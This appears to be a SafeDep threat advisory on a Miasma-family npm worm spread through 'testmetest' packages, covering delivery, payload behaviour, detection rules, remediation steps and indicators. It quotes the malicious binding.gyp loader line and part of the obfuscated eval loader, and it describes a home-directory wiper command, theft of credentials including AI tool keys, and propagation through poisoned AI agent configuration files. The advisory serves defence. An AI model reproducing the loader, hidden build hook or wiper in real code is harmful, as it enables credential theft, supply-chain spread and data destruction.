testmetest npm Packages Carry a Miasma-Family Worm

An operator is testing a Miasma-family npm worm in public. Between 19 and 22 October 2026, npm received 15 packages with names that end in testmetest. The accounts alexjoipamiba and testnewtestme published four of them. The malicious versions steal credentials, spread to other packages and repositories, and install a wiper that deletes the home directory when the victim revokes the stolen GitHub token.

The worm shares code with Miasma “Phantom Gyp” from June 2026 and adds the token-revocation wiper from Mini Shai-Hulud. SafeDep has not confirmed its exact lineage. The infrastructure, loader layout and strings differ from Miasma, which defeats published Miasma signatures for loader size, file hashes and marker strings. As of 22 October 2026, SafeDep has found no compromised third-party packages or victims. All observed activity belongs to the operator’s own test accounts.

The packages

Each package follows three steps: a 0.0.0-stage stub, a harmless 1.0.0 decoy, then a malicious patch version such as 0.0.1 that becomes latest.

Four packages are live, and [email protected] carries the worm. The other eleven left the registry on 21 October. The table lists every known version.

The operator also runs test repositories on GitHub under CementBeetleSteeple, and most already contain the worm’s files. Do not clone or open them. Its commits use the same email address as the npm account testnewtestme.

Related activity goes back to September. The GitHub account Meteordrewarm, registered 11 seconds before CementBeetleSteeple, ran the first exfiltration test on 19 September from [email protected]. npm removed an earlier package from the same cluster, testmgkregme, on 12 October.

How it runs

The package has no install scripts. npm runs node-gyp rebuild for any package that contains binding.gyp, and the sources field runs the loader:

1
// binding.gyp @ [email protected]
2
"sources": ["<!(node index.js 1>/dev/null 2>/dev/null; echo stub.c)"]

index.js (14.8 KB) decrypts a Bun bootstrap and lib_native.dat (320 KB). The bootstrap finds or downloads Bun. The loader writes the decrypted payload to /tmp/.b-*/index.js, runs it with bun run, and deletes it.

What the payload does

• Evasion
  • Exits on Russian and other Commonwealth of Independent States (CIS) locales, and on known analysis sandboxes.
  • In GitHub Actions, kills StepSecurity Harden-Runner through docker.sock and points *.stepsecurity.io to localhost. Exits if this fails.
• Credential theft
  • SSH keys, npm, PyPI and Git credentials, .env files, browser logins.
  • AI tool credentials for Claude, Codex, Gemini and Copilot.
  • AWS, GCP, Azure, Vault and Kubernetes secrets.
  • GitHub Actions secrets from Runner.Worker process memory.
• Exfiltration
  • Commits encrypted data to a new public repository on the victim’s GitHub account, named like smart-workers-48213 with the description project-utils.
  • The commit message starts with AutoSyncComplete: and carries the victim’s GitHub token, encrypted with a hardcoded key. Other infections search for these commits to reuse the tokens.
  • Fallback endpoint: hxxps://aiarmor[.]website/v1/api.
• Propagation
  • Adds the loader to the victim’s npm packages and publishes a new patch version.
  • Republishes to PyPI, RubyGems and JFrog.
  • Commits a fake CodeQL workflow and AI agent files (.claude/settings.json, .cursor/mcp.json, CLAUDE.md, AGENTS.md, .vscode/tasks.json) and a Windows loader .github/init.ps1 to GitHub and GitLab repositories. Injected commits copy the author and message of the most recent real commit on the branch, with github-actions as a fallback.
  • Copies itself over SSH to the hosts in each user’s known_hosts file.
• Persistence
  • net-health-checker checks the stolen GitHub token every 45 seconds for 48 hours. On 401 or 403 it runs rm -rf ~/; rm -rf ~/Documents.
  • pkg-runtime runs sync.py. Every hour it searches GitHub commits for msync-3f7a, then downloads and runs a Python script from a URL that the attacker’s RSA key signed.

What changed from Miasma

SafeDep does not attribute this variant to the original Miasma operators. The Shai-Hulud source has been public since May 2026, so other groups can build on it.

Detection

• A binding.gyp target whose sources contains <!(node and hides output, in a package without C or C++ sources.
• A high-entropy .dat or .bin file next to a small index.js with a large character-code array and eval.
• Supporting signals, combined with the binding.gyp rule: a bun dependency in package.json, or a 0.0.x latest version published after 1.0.0.
• The loader template is the same in every build: (function(){var _r=0,_s=1,_t=2;try{eval((function(d,k){return d.replace(/[a-zA-Z]/g,
• After decoding: globalThis.getBunPath, msync-3f7a, aiarmor.website, net-health-checker.

Apply the binding.gyp rule to every package. A real attack will come through compromised maintainer accounts with normal package names.

Remediation

1. Disconnect the host from the network.

2. Remove persistence first. On Linux:

   1
   systemctl --user disable --now net-health-checker pkg-runtime
   2
   rm -rf ~/.local/bin/net-health-checker.sh ~/.config/net-health-checker \
   3
          ~/.config/systemd/user/{net-health-checker,pkg-runtime}.service \
   4
          ~/.local/share/runtimes /var/tmp/.fontconfig_state

   On macOS:

   1
   launchctl bootout gui/$(id -u) ~/Library/LaunchAgents/com.user.{net-health-checker,pkg-runtime}.plist

   Then delete those two .plist files.

3. Rotate all credentials: Git hosts, package registries, cloud, Vault, Kubernetes, SSH and AI providers.

4. Check your accounts for new project-utils repositories, unexpected patch releases, and commits that add .claude/, .cursor/, .gemini/, .vscode/tasks.json, CLAUDE.md or AGENTS.md, and for commits whose message starts with AutoSyncComplete:. The agent files infect the host again.

5. Reinstall the operating system on the host.

Indicators of compromise

See the packages for the full list of package versions.

Each build uses new keys, so payload hashes change in every version. SafeDep decoded only [email protected], using static analysis.